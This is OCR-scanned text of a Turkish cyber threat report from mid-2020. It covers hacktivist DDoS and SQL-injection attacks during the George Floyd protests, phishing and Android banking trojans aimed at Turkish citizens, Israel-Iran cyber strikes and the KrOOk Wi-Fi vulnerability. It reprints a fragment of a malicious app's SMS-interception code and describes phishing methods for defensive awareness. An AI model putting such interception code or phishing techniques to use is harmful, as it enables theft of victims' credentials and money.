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SORUMSUZLUK VE FiKRI MULKIYET HAKKI BEYANI
Isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan igeriklerdir. Bu eser/

internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina ydnelik degildir. STM Savunma Teknolojileri MUhendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Uclncl kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tlrti sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlli hakki STM Savunma Teknolojileri Miihendislik ve Ticaret A.$.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda higbir sekilde

yayimlanamaz, ¢ogaltilamaz, islenemez.
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Gectigimiz senenin Aralik ayinda baslayan koronavirls
pandemisinin etkilerini hala hissediyoruz. Sagliktan tu-
rizme, savunmadan tarima bircok alanda tesirini goérdu-
gumiz bu zorlu sirecgte siber glvenlik dinyasinda da
hareketli olaylar yasanmaya devam ediyor.

Her zaman oldugu gibi bu dénemde de raporumuza
“Siber Tehdit istihbarati” ile bagliyoruz. Diinya medya-
sinin giindeminde koronavirlisten sonra en buyilk yeri
kaplayan, ABD’de George Floyd cinayetinin yol acti-
g olaylarin siber dinyadaki izdisimuUndn analiziyle
basladigimiz bu bashg Turkiye Cumhuriyeti vatandas-
larini hedef alan oltalama saldirilariyla tamamliyoruz.
Raporlarimizi izleyen okurlarimizin dikkat edecegdi Uzere
Ulkemiz vatandaslarini hedef alan oltalama saldinlarini iki
dénemdir genis olarak ele aliyoruz. Tehdit aktérlerinin bu
alandaki metotlarinin kamuoyuyla glincel olarak payla-
siimasinin, tehditlere karsi savunma bilinci olusturmaya
blytk katki saglayacagi inancindayiz.

2020’nin ikinci ¢ceyregi de siber saldinlar agisindan kri-
tik protokol, Grin ve yazilimlarin hedef alindigi bir d6-
nem oldu. Bu baglamda yaygin olarak kullanilan Wi-Fi
glivenlik protokollerinden olan WPA2’de bulunan KrOOk
zafiyetinin sebep olabilecekleri ve bunlardan korun-
mak igin alinabilecek 6nlemlerle ilgili bolime bakilabilir.
Bluetooth Uzerinde tespit edilen BIAS zafiyeti ise glivenli
baglantilarin ¢gok da gtivenli olmayabilecegini g&steriyor.
Yakin zamanda tanitilan “Apple ile giris yap” 6zelligin-
de bulunan zafiyet de birgok Apple kullanicisini yakin-
dan ilgilendiriyor. Son olarak Wordpress’in sik kullanilan
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bir eklentisinde bulunan zafiyetin incelendigi “Siber
Saldinlar” baslkh bélimimizde yukarida belirtilen ko-
nularin ézelliklerine ve korunma dnlemlerine dair ayrintili
bilgileri bulabilirsiniz.

Her dénemin vazgecilmez basliklarindan olan “Zararli
Yaziim Analizleri” bélumimuzde iki farkh fidye yazilimi
analiz ediliyor. Bunlarin yaninda MBR’I hedef alan bir
zararl yazihm ve Exim zafiyetini sémuren betikler ince-
leniyor ve s6z konusu saldirilardan elde edilen 10C’ler

paylasihyor.

Bu raporumuzda “Teknolojik Gelismeler ve Siber
Gulvenlik” bashgi altinda birgok yeni gelisme ele aliniyor.
Bunlar arasinda; ultrasonik sinyallerle akilli cihazlarin
sesli asistanlarinin sémurdlmesi, loT bulut servislerinde-
ki MQTT protokoliiniin giivenligi ve veri tasarrufu modu-
nun mobil glvenlige olan etkileri gibi ilgi ¢ekici glincel
konular bulabilirsiniz.

Dénem inceleme konumuz olarak koronaviris ve buna
bagl olarak gelisen siber glivenlik olay ve korunma 6ne-
rilerini sectik. Bu surecte saglk sektérinde meydana
gelen siber olaylarla baglayan b&limimuiz uzaktan ca-
lisma sirasinda kullanilan Griinler ve bunlarin glivenligiyle
devam edip géruntili konusma uygulamalarindaki zafi-
yetlerin incelenmesiyle sona ermektedir.

STM ailesi olarak bu dénemin siber tehdit durum rapo-
runu begenilerinize sunar, saglikl bir yaz gecirmenizi
dileriz.

SIBER TEHDIT DURUM RAPORU
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1. ABD George Floyd Krizi ile ilgili Siber
Saldin Eylemleri

25 Mayis 2020’de, Amerika Birlegsik Devletleri
Minnesota’da polis memuru Derek Chauvin’in Afrikall
Amerikali George Floyd’u ensesine diziyle bastirarak 6l-
dirmesi sonucu baslayan olaylar, ABD’de blylk yanki
buldu. Bahsi gegen polis memuru Ug¢iincl derece cina-
yet suclamasiyla tutuklanirken, basta ABD vatandaslari
olmak Uzere birgok Ulkede gerek sokak eylemleriyle ge-
rek sosyal medya paylasimlariyla irk¢ilik karsiti protesto-
lar yUkseldi. Olaylar ABD hikimetine ve polis teskilatina
yonelik siber saldirilara da neden oldu.

Bu rapor; irk¢ilik kargiti eylemlerle baglayan siber sal-
dirllara dair STM Siber Flizyon Merkezi analistleri tara-
findan yapilan analizleri igermektedir. Raporda saldir
hedefleri, sosyal medya aktérleri ve yapilan analizler
paylasiimaktadir.

Saldin Hedefleri

STM Siber Fiizyon Merkezi analistleri tarafindan yapi-
lan arastirma sonugclarina goére, dncelikli saldirn hedefi-
nin devlet kurum ve kuruluslari oldugu ve bu kapsamda
“gov” uzantili web sitelerine ve bankalarin web sitelerine
saldirilar planlandi§i/gerceklestirildigi tespit edildi.

Saldin Yontemleri

4 Haziran 2020 tarihinde baglayan siber eylemlerde, bir-
cok irk¢ilik yanlisi web sitesinin yani sira devlet kurum
ve kuruluslarina ydnelik kesif amagh taramalar yapildigi
ve tarama sonuglarinin Pastebin gibi kanallar Gzerinden
paylasildigi gdzlemlendi. Ayrica, protesto eylemlerini
destekleme cagrilari yapilmistir. Bu rapor kamu tarafin-
dan varligi kabul edilen kurum ve kuruluslarina yoneltilen
saldirilar Uzerine oldugundan, bazi web siteleri analize
dahil edilmemisgtir.

Kesif taramalari sonucunda aralarinda kritik kurumlar da
bulunan bircok kurulusa ait:

iletisim bilgilerinin (idari iletisim, teknik iletisim, fatura
adresi),

IP adreslerinin,

SSL sertifika bilgilerinin,

Alt alan adlarinin,

Dahili baglanti adreslerinin,

Dis baglanti adreslerinin,

Whois bilgisinin,

DNS Lookup bilgisinin,

SIBER TEHDIT DURUM RAPORU
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We are Anonymous.
We are Legion.

We do not forgive.
We do not forget.
Expect us!

' -,
YOUR LOCAL

Sekil 1: Anonymous adina irkgi bir toplulugun web sitesine yapilan
aktif tarama sonugclarini Pastebin Uzerinden paylasan ve ANTIFA
topluluklarina destek ¢agrisinda bulunan tweet.

We are Anonymous.
We are Legion.

We do not forgive.
We do not forget.
Expect us!

NO NAZI5. NO KKK. NO WHITE SUPREMALY.

s 4 Likes

Sekil 2: Anonymous adina yapilan bagka bir ANTIFA calismasi.
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GeolP Lookup bilgisinin ve
Name server bilgilerinin paylasildigi gérulmustur.

Kesif taramasi yapilarak bilgileri paylasilan bazi kurumlar
asagida listelenmektedir:

Austin sehrinin web sayfasi (austintexas.org)
Birlesik Devletler Orman Hizmetleri (usfs.state.gov)
Minnesota Bankasi (mnbankandtrust.com)

Birlesik Minnesota Bankasi (umbnl.com)

New York Halk Bankasi (mynycb.com)

4-5 Haziran 2020 tarihlerinde gerceklestirilen saldirilar
sonucu bazi devlet kurumlarinin verileri ele gecirilmis/
degistiriimis, bazilar ise DDOS saldirilar sonucu erigile-
mez hale gelmistir.

DDOS saldirilarina maruz kalan ve erisilemez hale gelen
web sayfalari sunlardir:

Austin sehrinin web sayfasi (austintexas.org)
Minnesota Bankasi (mnbankandtrust.com)
Birlesik Minnesota Bankasi (umbnl.com)
New York Halk Bankasi (mynycb.com)

Verileri ele gegirilmis/degistiriimis olabilecek web sayfasi
ise sudur:

Birlesik Devletler Orman Hizmetleri (usfs.state.gov)

Saldirilarda agirlikl olarak aktif tarama sonuglarinin
paylasilmasi ve DDOS yoéntemleri kullanilimig, tek istis-
na Birlesik Devletler Orman Hizmetlerine SQL Injection
ydntemiyle saldirimasi olmustur. Bu ydntemle saldi-
rilan veritabanindaki bilgilerin tamami elde edilebilir,

shoot in the head an 20-year-old black
guy, and its in critical condition with brain damage.

Austin Police Department

Site:
— c

@ austintexas.gov

502 Gateway Error

The application server answering your request has experienced an error or has reset the connection.
Thus is lkely a temporary error. Please try to refrech the page.
The etror has been logged for our application adimnistrators

Sekil 3: Austin polisinin 20 yasindaki bir siyahi vurmasi sonucu,
Austin sehrinin web sitesine DDOS saldirisi yapilarak siteye erisim
engellenmistir.

6
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Sekil 4: DDOS saldinisinin basarili oldugunun ve Austintexas.org
sunucularinin yanit vermediginin kanitlari Twitter (izerinden pay-
lasiimigtir.

veritabani degistirilebilir veya silinebilir. Dolayisiyla sal-
dirlya ugrayan kurumlar arasinda en biyik zarar goren
kurumun Birlesik Devletler Orman Hizmetleri oldugu
dusindlmektedir.

Saldin Aktorleri ve Sosyal Medya Analizi

Bir takim kullanicilar siber saldirilari gergeklestirirken
diger kullanicilar da paylagimlar ve destek cagrilaryla
onlara destek olmaktadir. En ¢ok dikkat ¢ceken saldir ak-
t6rii Anonymous ismi altinda birlesen bir gruptur. Yapilan
analizler sonucu bu grubun bir ydneteni olmadigi, iste-
yen herkesin ayni amaca hizmet ettigi takdirde yaptig
saldinlari Anonymous adi altinda paylasabildigi gérul-
mektedir. Asagida siber saldirilarda aktif rol oynadigi dui-
suintlen hesaplar listelenmektedir:

@YourAnonSOuf1
@YourAnonReyzor
@JTSEC13
@AnonOpUsa
@YourAnonCentral

Tespit edilen kullanicilarin, ABD hikiimet kurumlarina ve
bankalara siber saldirilar gerceklestirdigi ve baskalarini

SIBER TEHDIT DURUM RAPORU
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da benzer saldirilara tesvik ettigi gézlemlendi. Siber sal-
diri dizenlenen kurum ve kuruluslarin port tarama ve ke-
sif galismasi sonuglari diizenli olarak Pastebin Gzerinden
paylasiimistir. Bunlar bir siire sonra Pastebin’den kal-
dinlsa da muhtemelen daha sonra farkli sosyal medya
araglan Uzerinden tekrar paylasilmaktadir. Gruplarin bir-
cogunun kesif calismalar aktif tarama niteligindedir ve
saldir olarak degerlendirilebilir.

cyber warriors attacking. SHARE!

[l
SQLInjection-Vuln

[*1
DDoSed

[*]
DDoSed

Sekil 5: Yapilan siber saldirilar ve bunlarin yayllmasini tesvik eden
tweet

We are back in fight again. Our previous account
suspended.

Minnesota Bank & Trust
United Minnesota Bank

Sites:

ARDNYIIOUS

OFMINNEAFPOLIS OFUS

Sekil 6: Minnesota bankalarina yapilan DDOS saldirilarinin ve son-
raki saldirilarin paylasiimasi

SIBER TEHDIT DURUM RAPORU
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Online Propaganda Kanallarn

Siber saldir diizenleyen ve bunlar halka yayan kullanici-
lar belirli Twitter hashtagleri Gzerinden haberlesmektedir.
Bunlardan en ¢ok dikkat ¢cekenler asagida siralanmak-
tadir. Bagka bir haberlesme adresi gbzlemlenmemigtir.

#Anonymous
#TangoDown
#OpGeorgeFloyd
#OpResistance
#JTSEC
#GeorgeFloyd
#BlackLivesMatter

Saldirilara yénelik haberlerin en ¢ok Twitter ve Pastebin
Uzerinden aktarildigi gérilmustar.

New York Community Bank

Freedom and Justice! Anyone can fight them. There is
no time to spend. Join the revolution and bring them
down!

Site:

er is busy now. Try again later
on ID::b109599f-dead-b02d-711f-

Time: 6/4/2020 4:24:14 AM

Sekil 7: New York Halk Bankasi’na yapilan DDOS saldirisinin pay-
lasiimasi ve eylemlere destek ¢agrisi yapiimasi

Sonug¢

George Floyd’'un 6&ldiurilmesi sonucu baslayan hare-
ketlilik 3-4 Haziran arasi tepe noktasina ulagsmistir. Bu
zaman diliminde U¢ bankanin ve Austin, Texas sehrinin
web sayfasina erisim tamamen engellenmis, United
States Forest Service (USFS) devlet kurumunun bilgile-
ri ise bir SQL Injection agiginin istismar edilmesiyle ele
gegcirilmistir. Saldinlarin ABD’deki olaylar durulana kadar
devam etmesi beklenmektedir. Yapilan siber saldirilara
yonelik paylasimlarin sosyal medya araciligiyla sirekli
gindeme tasinmasinin diger siber saldirganlarin moti-
vasyonlarini artirdigi ve Anonymous gibi gruplar saldiri
yapmaya cesaretlendirdigi degerlendiriimektedir.
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2. Turkiye Cumhuriyeti Vatandaslarini Hedef
Alan Oltalama Saldirilari

Oltama saldirilari, siber dolandiricilar agisindan en basit
ve etkili ydntemlerden biridir. Hem kolay hazirlanabilir,
hem de dikkatli incelenmediginde gerceginden ayirt edil-
mesi zor oldugu igin bu yontem yaygin ve sikg¢a kullanilir
hale gelmistir. Diinyanin her yerinde oldugu gibi Glkemiz-
de de bir¢ok oltalama kampanyasi gerceklestiriimektedir.

Bu rapor; Turkiye’'de son alti ay icinde gerceklesen olta-
lama saldirilarina dair STM Siber Flizyon Merkezi analist-
leri tarafindan yapilan analizleri icermektedir. Saldirilarin
hedef kitleleri, hangi platformlar tUzerinden yUruttldigu
ve yapilan analizlere dair detayl bilgiler bu bdlimde
paylasiimaktadir.

Saldiri Hedefleri

STM Siber Flizyon Merkezi analistleri tarafindan yapilan
arastirma sonuglarina goére, éncelikli saldiri hedefinin va-
tandaslarimiz oldugu ve bu kapsamda e-ticaret, e-devlet
ve bankacilik web sayfalarinin taklitlerinin olusturuldugu
ve bunlar araciligiyla saldirilar planlandigi/gerceklestiril-
digi tespit edilmistir.

Saldin Yontemleri

Saldin planlanirken, insanlarin gergcek olduguna kolay
inanacag platformlar tercih edilmektedir. Siber dolandi-
rici dncelikle hedef platform web sayfasinin (6rn. web-
sayfam.com) kaynak kodlarini kopyalar. Daha sonra o

ook
@ESC] Turkiye

#Turk kredi karti kullanicilarini hedefleyen #phishing
saldins #Android uygulamasi kullanarak SMS ile
gdénderilen parolalan cahyor.

MNasil calisiyor: Kurban sahte web sitesinde kredi karti
bilgilerini girer,

SMS kodunu girer 1/3

#ESETresearch @ LukasStefanko

© W 40 zsz

iNDiR

= N CR P REET

iNDiR

Sekil 8: Sahte e-devlet platformu araciligiyla yapilan oltalama sal-
dinsit.
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sayfanin alan adina benzer bir alan adi alir (6rn. web-
sayfarn.com) ve orijinal sayfadan aldigi kaynak kodun-
dan faydalanarak sahte sayfayi orijinaline benzetir. Bu
baglanti hedef kitleye sosyal medya, SMS, e-posta gibi
ybntemlerle génderilir. Eger kullanici dikkatli olmazsa bu
baglantiya tiklayarak banka giris bilgilerini veya e-mail
sifre bilgilerini girer ve bdylece bu bilgiler siber dolan-
dincinin eline geger. Ulkemizde bu olaylarla ilgili ¢ikan
haberler, hedef alinan platformlar ve kullanici kitleleri ra-
porun devaminda paylagiimaktadir.

ESET Tiirkiye @ESETTurkiye - 10 Apr A
Replying to @ESETTurkiye

"SMS kodu ulagmadiysa uygulamayi indirin” uyansi ile karsilasir.
SMS kodu uygulama ile bypass edilir.
#phishing betiginin yazar not olarak ICQ adini birakmis. indirilen uygulama
SMS geldiginde araya girerek mesaji saldirganin sunucusuna gonderiyar. 2/3
- (s~ owuduul
€  AliExpress
Do you want 0 install this application? it wil

get access 1.

. directly call phone numbers
- v

read phone statizs and identity

Sekil 9: Sahte e-devlet sitesi araciligiyla kullanicinin telefonuna za-
rarli uygulama indirmesinin saglamasi™l.

B~ © W 401304
&  AliExpress
Do you want to install this application? It will

get access to:

. directly call phone numbers
® this may cost you money
read phone status and identity

ﬂ receive text messages (SMS)

send and view SMS messages
# this may cost you money

CAMCEL INSTALL

Sekil 10: Zararll uygulamanin kullanicidan arama ve SMS izinleri
istemesil'.

SIBER TEHDIT DURUM RAPORU
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public veid Initialize2(String EventName, final BA ba2, int Priority) {
this.ba = bal;
this.eventName = EventName.tolowerCase(BA.cul);
this.br = new BroadcastReceiver() {
public wvoid onReceive(Context context, Intent intent) {
Bundle bundle;

thimkktech
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if (intent.getAction().equals(“android.provider.Telephony.SMS_RECEIVED") && (bundle = intent.getExtras()) [= null}) {

»ct[] pdubj = (Object[]) bundle.get("pdus");
: pdulbi) {

SmsMessage sm = SmsMessage.createFromPdu( (byte[]) obj);
Boolean res = (Boolean) ba2.raiseEvent(SMSInterceptor.this, String.valueOf(5MSInterceptor.this.eventName) 4

if (res != null 38 res.boocleanValue(}) {
abortBroadcast();

3

" _messagereceived”,

IntentFilter fil = new IntentFilter(“android.provider.Telephony.SMS_RECEIVED");

fil.setPriority(Priority);
BA.applicatienContext.registerReceiver(this.br, fil);

Sekil 11: Uygulamanin SMS akigini dinleyerek kullanici bilgilerini saldirganin sunucusuna géndermesil'.

Kesif calismalari sonucunda bircok vatandasin;

e-devlet girig bilgilerinin,

internet bankaciligi giris bilgilerinin,
e-ticaret tyelik bilgilerinin,

e-posta girig bilgilerinin

siber dolandiricilar tarafindan ele gecirildigi degerlen-
dirilmektedir. Kisiler icin kritik énem tasiyan araclara
erisim saglayan giris bilgilerinin baskalari tarafindan
elde edilmesi kisiye maddi bakimdan buyldk zarar
verebilmektedir.

Ucretsiz Netflix Uyeligji Mesajlarina Dikkat
0 ‘turk-internet.com Basin MA

oo

Birgok hizmetin Koronaviriis pandemisi nedeniyle Gicretsiz olmasini firsat bilen siber dolandincilar, bu

nizmetler] Ocrersiz kullanmak Isteyen kullanicilan oltalama sitelerine yonlendirerek kandirmaya galigiyor.
“Dinya capinda Koronaviriis pandemisi nedeniyle Netfix. evde kaldiginiz stire boyunca lcretsiz
tyelik veriyor. Linke hemen tiklayin ¢iinki bu tcretsiz (yeligi kazanma hakli hemen bitecektir.”

Olaya supheci bakmayan kullanicilar tuzaga dugirmek adina “netflix-usa.net” internet sitesi kullanilyor
ancak bu domaln, yaklasik bir hafta once bu durumu firsat bilen bir dolandirici tarafindan agilmis. Her ne
kadar alan adi gercek olmasa da bu durumdan yararlanmak ve ticretsiz tyelik almak isteyen kullanicilar igin

baglantiya tiklamak cazip bir fikir gibi géranebilir ve sitenin tasarimina inanabilirler.

Web sitesine girig yapildiktan sonra site, bedava tycelik “kazanmak” isteyen kullanicilara Covid-19 viriisi ile
nasil mucadele ettikleri hakkinda birkag soru sorduktan sonra “tcretsiz tyelik” icin bu mesaji 10 farkl kisi ile
WhatsApp veya gesitli iletisim kanallarindan tanidiklari ile paylasmalarini talep ediyor. Rahsi gegen sahte
mesaji ucretsiz Gyelik almak adina bagkalarina yonlendirdiginizde, yonlendirdiginiz kigilerin de

dolandinalarin eline dasmesine neden oluyorsunuez.

Sekil 12: Kullanicilarin Netflix hesaplarini ele gecirmeyi amaclayan
bir oltalama aktivitesi®?.
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Mersin'de 18 bin liralik 'phishing'
operasyonu: 5 tutuklama

Mersin'de bir kisi internet iizerinden ‘phishing’ yonetimi ile
yaklagik 18 bin lira delandinldi. Polisin devreye girdigi olayda 5

atukiands 006

Abane o

IRa 2102079 - 1200

intemette girdiigi sahte banka rekizmma tiklayan bir vatendas phishing
(ottalama) denilen yontemie dolandinid.

Merzin'de yasayen H 5, bankadan génderilen mesajda, bilgisi drginda hesabindan
biri 2 b 670 dolar digeri ise 5 bin fira dederinde clan 2 islemin yapild@in gérdii.
Mesajin ardindan polise bagvuran H.5, “intermnette gezinirken bankenn reklamin
gordiim. Dahe sonra sifremle girmek istedim, bilgileri gind&ten sonra birden sayfa
kapandi” geklinde anlatt.

Sekil 13: Banka reklamiyla yapilan oltalama saldirisinda banka bil-
gileri ele gegirilen kisiye maddi zarar verilmigtir.

Banka, e-devlet, sosyal medya hesaplarini ele gegirme-
yi hedefleyen oltalama saldirilari stirekli gerceklestirilen
saldinlardir, fakat gtincel olaylan takip edip bunlari olta-
lama etkinligine dahil eden siber dolandiricilar daha etkili
planlar yapabiliyor.



thimnkktech

STM Teknolojik Diisiince Merkezi

A

Ulusal Siber Olaylara Midahale Merkezi (USOM) tarafin-
dan yapilan incelemelerde, Koronaviris ile ilgili binlerce
alan adi satin alinmig oldugu ve bunlarin 320 tanesinde
zararli i¢erik bulundugu gértlmustir. Dolandiricilar, web
siteleri Uzerinden Ucretsiz maske veya hijyen Urind sag-
lama vaatleriyle, kullanicilarin e-posta girig bilgilerini ele
gecirerek onlar zararli uygulama indirmeye ydneltmek-
tedir. Bu uygulamalardan bazilar telefona bir backdoor
uygulamasi olarak yerlesip kullanicilarin konum, rehber,
telefon hafizasi ve kamera gibi kritik kisisel gizlilik unsur-
larina erigsim saglamaktadiri*l.

Mobil cihazlar kullanici verisi saglamaya daha misait ol-
dugu igin saldinlarin cogu mobil uygulamalar Uzerinden
yapllmaktadir. Farkli amaclar olan saldirganlarin kisisel
bilgisayarlari hedefledigi gézlemlenmistir.

“CoronavirusTracker.exe” veya “COVID19_WHO.exe”
gibi isimler tagiyan zararl yazimlarla; kullanicilardan ha-
bersiz olarak uzaktan komut ¢alistirma, dosya izinlerin-
de degisiklik yapma, kayit defterinde degisiklik yapma,
kisisel veri toplama gibi islemler yapilabiliyor. Saldirgan,
uzaktan komut calistirmayla kisinin bilgisayarinin kont-
rolini tamamen devralabilir. Kayit defterinde degisiklik
yapma yetkisiyle Windows igletim sisteminin antivirts ve
antimalware sorumlusu Windows Defender kapatilabilir.
Ayni zamanda keylogger programlari uzaktan yuklene-
rek kullanicinin bilgisayarda kullandigi uygulamalarin
(Skype, Steam vb.) giris bilgileri elde edilebilir, hangi
tarayici ve web sitesinde hangi tuslara basildigi takip
edilebilir.

Mobil Zararhlari

“Anubis” ve “Cerberus” isimli Android bankacilik uygu-
lamasi trojanlarinin, mobil bankacilik uygulamasi kulla-
nan vatandaglarimizi hedef aldigi degerlendiriimektedir.
Belirtilen trojanlarin ikisi de kullanicilarin girig bilgilerini
calmak amacli, mobil uzaktan baglanti kullanan Malware
as a Service (MaaS) ¢dzimleridir.

COVID-19 salgini dolayisiyla operatérlerinden hediye
internet teklifi aldigina inandirilan kullanici, sitedeki lin-
ke tiklar ve .apk uzantili uygulama kurulum paketlerinin
oldugu bir sayfaya yodnlendirilir. Bu sayfadaki paketler,
inandirici olacak sekilde isimlendirilmistir.

“Evde Kal”, “Evde Hayat Var” gibi COVID-19 salgini ne-
deniyle televizyon, sosyal medya gibi araglar Uzerinden
siklikla duyulan sdzler, inandiriciidi artirmak adina uygu-
lama isimlendirmesinde kullaniimaktadir.
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#EVDEKAL

#EVDE KAL!
0GB

EVDE KALDIGINIZ SURECE ZAMAN |
GECIRMENIZ iCiN
CUATHTRRAQK ANT ICT TARAFINDAN

Sekil 14: Oltalama sitesinin anasayfasi®.
ad 6/

Tum Operatorlerde
Gecgerli 20GB
Internet Hediye!

UYGULAMAYI INDIR

Sekil 15: inandiriciligin artinimasi ve vatandaslarimizin zararli ya-
zilmlarin indirme sayfasina yonlendirilmesi i¢in milli 6delerin kul-
laniimasi®.

Downloads

Downloads Tags  Branches

Sekil 16: Farkli isimlerle ayni amagl birgok trojan uygulamasi olus-
turulmasi®.

Sekil 17: Trojanlarn sirekli olarak build edip paylastidi belirlenen
aktorlerin kullandigi isimler®..
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indirme sayilari incelendiginde, birgok kullanicinin bu
zararll yazihmdan etkilendigi anlagiliyor. “Cerberus” ve
“Anubis” zararlisindan etkilenenlerin sayisinin 4.000’den
fazla oldugu dustnulebilir. Bu zararllarin tehlike di-
zeyinin ylksek olmasinin nedeni, Anubis’in bir MaaS
(Malware-as-a-service) platformu olmasidir. Bu sayede
cok yetenekli olmayan bir aktér bile giris satin alip saldiri
duzenleyebilir. Salgin nedeniyle artan endise ve bunun
getirdigi dikkatsizlik sonucunda genel kullanicinin yanhs
kampanyalara inanma olasiligi arttigindan, salgin tehli-
kesi gecene kadar bu ve bunun gibi tehditlerin devam
edecegi 6ngorilmektedir®.

Sonuc

Oltalama saldirilan, kullanicinin kisisel verilerinin, ban-
ka hesaplarinin, sosyal medya ve uygulama sifrelerinin
ele geciriimesinden onun adina e-devlet islemi yaplil-
masina kadar bircok zararli girisimin éninl agmaktadir.
Saldirganin hazirlamasi ve kullanicinin da dikkatinin da-
ginik oldugu bir anda bu tuzaga diismesi ¢ok kolay oldu-
gu icin bu tdr saldinlar yaygin ve sik bir sekilde cereyan
etmektedir. Bu ydntemin zararli yazilim icerip icermeme-
si opsiyonel oldugu icin, zararll icermeyen durumlarda
en iyi korunma yolunun vatandaslarimizin bu konuda bi-
linglendirilmesi oldugu degerlendiriimektedir.

3. israil ile iran Arasinda Siber Savas

Mayis ayinda israil medyasi, llke capinda birkac su ve
kanalizasyon aritma tesisine muhtemelen siber saldiri
diizenlenmis oldugunu bildirdi®. israil’in Ulusal Su Ajansi
baslangicta teknik bir arizadan bahsetmis, ancak daha
sonra bunun bir siber saldir oldugunu belirtmistir. israilli
yetkililere gore, olay yerel su dagitim sistemlerinde sinirli
kesintiler disinda herhangi bir hasara yol agmamistir. O
tarihte bu raporlar medyayi kaplayan pandemi haberleri
seli arasinda dikkat cekmedi fakat israil medyasi daha
sonra iran’t ABD ve Avrupa sunuculari lizerinden yénlen-
dirilen siber saldindan sorumlu tuttu®.

Sekil 18: Shahid Rajaee Limani Google Maps gorseli
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Daha sonra 9 Mayis’ta bir siber saldiri, iran’in deniz ti-
caretinde merkezi bir yer tutan Hirmuz Bogaz yakin-
larindaki Bandar Abbas’daki Shahid Rajaee Limani’'nin
bilgisayar sistemlerini hedef aldi. iran’n Liman ve
Denizcilik Orgiiti’ne gére, saldin merkezi giivenlik ve bil-
gi sistemlerine nifuz edemedi, bunun yerine 6zel iglet-
me sirketlerinin sistemlerini birka¢ saat boyunca bozdu.
18 Mayis’ta Washington Post, isralilli isimsiz yetkililere
dayandirarak israil’in misilleme amacli bir saldir diizen-
ledigi haberini yapti. iran’in saldirilarin gériiniirde kayda
deger bir etkisi olmadigini bildirmesine ragmen gazete
haberine gore, saldiri yol ve suyolu trafiginde birka¢ glin
boyunca ciddi bir tikanikligi tetiklemisti. israil Savunma
Kuvvetleri Kurmay Baskani Aviv Kochavi sorumlulugu
dogrudan kabul etmemis, ancak “israil’in (diismanlarina
karsi) ¢esitli enstrimanlarla hareket etmeye devam ede-
cegini” agiklamigtir”l.

Normalde devlet destekli siber saldirilarin reddedildigi
ve golgelerden yilritildigu diinyadan isimsiz kalsa da
yetkililere dayandirilan siber saldirilar diinyasina gecisin
ilk érneklerinden biri belki de bu siber savastir. Bir diger
kritik nokta da sivil hedeflere odaklaniimasidir. Karsilikli
yapllan bu saldirilar neticesinde ciddi bir hasar meydana
gelmemis olsa da, éntimizdeki sirecte devletler arasin-
daki siber savaglarin daha acgik cereyan edecegi ve sert
gecebilecegi sylenebilir.

4. KROOK - Wi-Fi Protokolu Sifreleme
Algoritmasindaki Kritik Zafiyet

Kr0Ok ismi verilen ve Wi-Fi protokollindeki trafigin sifre-
lenmesi icin kullanilan algoritmada tespit edilen zafiyet,
Subat 2020 tarihinde yayinlanan makalede detayli olarak
ele aliniyor®. ESET firmasi siber glvenlik arastirma eki-
binin kesfettigi zafiyet “CVE-2019-15126” ismiyle kayit-
lara gecti®.

Arastirmacilara gore bu zafiyeti tetikleyen baslica unsur,
kullanicilarin Wi-Fi kullanirken iletisimin bir bolumini sif-
relemek icin tamami sifir sifreleme anahtar (all-zero enc-
ryption key) kullanmasi. KrOOk zafiyetinin basarili sekilde
sO6murildigu senaryoda, zafiyetli cihazdan gdnderilen
ag paketlerinin bazilarinin sifreleri kinlabiliyor ve ag trafi-
gi sifresiz olarak okunabiliyor.

Henliz glincellemesi/yamasi yapilmamis Broadcom ve
Cypress marka Wi-Fi cgipleri bu zafiyeti barindirmaktadir.
GunUmizde yaygin olarak kullanilan akilli telefonlarda,
tablet cihazlarda, dizistl bilgisayarlarda ve cesitli loT
cihazlarda yaygin olarak kullaniimaktadir. Bu cihazlara
ek olarak, bircok erisim noktasi ve yénlendirici cihazda
Broadcom ciplerinin bulunmasi onlarin da zafiyet tagsi-
masini beraberinde getirebilir. Ayrica bu erisim noktalar
veya yonlendiriciler ile iletisimi olan farkli marka cip kul-
lanan istemci cihazlarin iletisim ortamlari da zafiyetli du-
ruma gelmektedir.
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Arastirmacilar tarafindan yapilan testler, Amazon (Echo,
Kindle), Apple (iPhone, iPad, MacBook), Google (Nexus),
Samsung (Galaxy), Raspberry (Pi 3), Xiaomi (RedMi) ci-
hazlar ile Asus ve Huawei markali bazi erisim noktasi
cihazlarinin yamalar gecilmeden 6nce KrOOk zafiyeti ba-
rndirdigini géstermistir. Toplamda en az 1 milyar cihazin
ve erisim noktasinin bundan etkilendigi belirtiliyor. Birgok
bagska markaya ait test edilmeyen Wi-Fi gipleri de test
edilse bu sayinin ¢gok daha fazla olacagi ileri strultyor.

KrOOk, AES-CCMP sifreleme kullanan WPA2-Personal
ve WPA2-Enterprise protokollerinin her ikisini de etkile-
mektedir. KrOOk’un 2017 yilinda Mathy Vanhoef tarafin-
dan kesfedilen KRACK (Key Reinstallation Attack) sal-
dinsiyla baglantili olmakla birlikte bazi temel farkliliklar
icermektedir. Aragtirmalarnin ilk asamasinda KrOOKk’un,
KRACK saldirisina ait testlerde gdzlenen tamami sifir
sifreleme anahtarinin tekrar yiklenmesindeki olasi ne-
denlerden biri olabilecegini saptayan arastirmacilarin,
bu zafiyetin detaylarini ciplerin Ureticisi olan Broadcom
ve Cypress firmalarina rapor etmeleri lzerine kapsamli
glvenlik gtincellestirmeleri gelistiriimigtir.

Teknik detaylara inmeden 6nce KrOOk zafiyetinin daha
net anlasilmasina yardimci olacak WPA2 glvenlik proto-
kollyle ilgili bilgileri asagida bulabilirsiniz.

WPA2-CCMP Protokolii

WPA2-CCMP protokoll Wi-Fi ag trafiginde veri gizliligini
ve bitinligind korumayl amaglayan glivenlik protoko-
[Gdir. Bu protokol gliincel Wi-Fi aglarinda kullanilan en
yaygin standart protokoldiir. WPA2 ile 4 Y6nll El Sikisma
(4-Way Handshake) algoritmasi kullanilarak glvenli ile-
